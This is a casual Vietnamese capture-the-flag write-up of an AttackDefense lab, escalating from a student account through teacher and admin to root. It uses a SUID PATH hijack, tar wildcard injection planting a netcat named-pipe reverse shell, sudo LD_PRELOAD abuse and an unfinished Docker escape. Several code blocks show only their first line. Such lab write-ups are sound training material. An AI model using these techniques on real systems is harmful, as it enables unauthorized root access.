[AttackDefense] Privilege Escalation: CTF [Oct 16-20]
Overview
Link: https://attackdefense.com/challengedetails?cid=2021
Difficulty: Medium (Để làm được thì dễ, để hiểu được thì khó :/)
Bài này yêu cầu đơn giản là leo thang đặc quyền, từ low-user đến super-user.
Privileges Escalation
student to teacher
1 | student@attackdefense:~$ find / -perm -u=s -type f 2>/dev/null |
Thấy một file binary lạ hoắc là read-submission. Điều tra thêm thông tin về thằng này.
1 | student@attackdefense:~$ ls -al /usr/bin/read-submission |
File binary này của user teacher, và do có SUID nên user student có thể chạy file này với quyền của user teacher. Việc nó làm là hiển thị ra mấy cái điểm số kia. Tìm kiếm xem file binary này sử dụng binary nào khác không, việc này nhắm tới cách leo thang lên quyền của user teacher bằng PATH evn.
1 | student@attackdefense:~$ strings /usr/bin/read-submission |
Bằng cách vi diệu nào đó :)) có cái file binary này “read-file”.
Đùa đấy, ý tưởng là đang muốn leo lên quyền của user teacher, vậy nên sẽ cần recon thông tin của user teacher. Việc tìm các file thuộc sở hữu của user teacher biết đâu sẽ xem lại một vài thông tin hay ho?
1 | student@attackdefense:~$ find / -user teacher 2>/dev/null |
Nhìn xem, /usr/bin/read-file, và lúc này tôi bắt đầu tìm trong đống strings được dump ra từ read-submission những file kia, và nhận được read-file.
Không cần biết thằng read-file nó làm cái con mẹ gì, leo quyền cái đã…
PATH Variables
1 | student@attackdefense:~$ mkdir duma |
Game dễ! hoặc là chưa đến đoạn khó :/
teacher to admin
Mục tiêu tiếp theo bây giờ là phải leo lên quyền của user admin. Ngó vào thư mục /home/admin xem có gì.
1 | teacher@attackdefense:/home$ cd admin |
Sau mấy lần chạy lệnh ls -al trong vô vọng, thấy là cái file nén teacher.tar.gz có thời gian sửa đổi rất mới, và được cập nhật/ghi đè liên tục trong một khoảng thời gian. Đoán là sẽ có một cái cronjob nào đang tác động lên nó.
Nhưng!
Đúng rồi, câu chuyện đẹp lúc đéo nào cũng bị ngắt bởi từ “Nhưng”. Tôi đéo thể tìm được cronjob nào tác động lên file nén kia cả :D
Cơ mà thấy nội dung trong file nén giống giống với nội dung bên trong thư mục /home/teacher/backup. Thế thì thử tạo thêm file trong thư mục backup đấy xem thằng admin có nén luôn cái file mình tạo không nhở :D
1 | teacher@attackdefense:/home/teacher/backup$ echo "Bruh!" > Nen_file_nay_di.txt |
Hay lắm tml, schedule của thằng user admin nén toàn bộ thư mục backup.
Tar Wildcard Injection
Ý tưởng là sẽ đánh vào quá trình nén file của tar, anh em có thể đọc thêm ở đây Exploiting Wildcard for Privilege Escalation.
1 | teacher@attackdefense:/home/teacher/backup$ echo "mkfifo /tmp/ahihi; nc localhost 4444 0</tmp/ahihi | /bin/sh >/tmp/ahihi 2>&1; rm /tmp/ahihi" > shell.sh |
Mở một tab khác, bật netcat để listen trên port 4444 và…
1 | student@attackdefense:~$ nc -lnvp 4444 |
admin to root
Có shell của user admin rồi, giờ còn leo lên root nữa thôi. Kiểm tra sudoer của user admin.
1 | admin@attackdefense:/home/teacher/backup$ sudo -l |
Để ý thấy có apache2 có thể chạy với quyền sudo mà chả cần password, cơ mà, việc leo quyền với apache2 khá căng, hơn nữa file cấu hình của apache2 có vẻ đã được tuỳ biến chỗ nào đó khiến tôi đéo thể truy cập được vào các thành phần thông tin nhạy cảm bên trong.
Để ý kỹ lại một lần nữa, thấy cái dòng env_keep+=LD_PRELOAD khá lạ. Google! (Vãi cả beep kết quả tìm kiếm đầu tiên hiện ra luôn ạ Linux Privilege Escalation using LD_Preload)
LD_PRELOAD
What is LD_PRELOAD?
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
Lằng nhằng quá, làm theo cái đã…
Tạo một file shell.c với nội dung:
1 |
|
Ok, biên dịch rồi thực thi, tận hưởng :D
1 | admin@attackdefense:/tmp/duma$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles |
Ổn luôn, giờ thì leo tiếp lên máy host, vì thực chất máy linux này đang nằm trong một máy ảo, bây giờ sẽ phải vượt từ máy ảo lên máy thật :)
Docker escape
1 | root@attackdefense:~# capsh --print |
Đoạn này chả hiểu gì, thôi để bao giờ hiểu thì update lại sau vậy…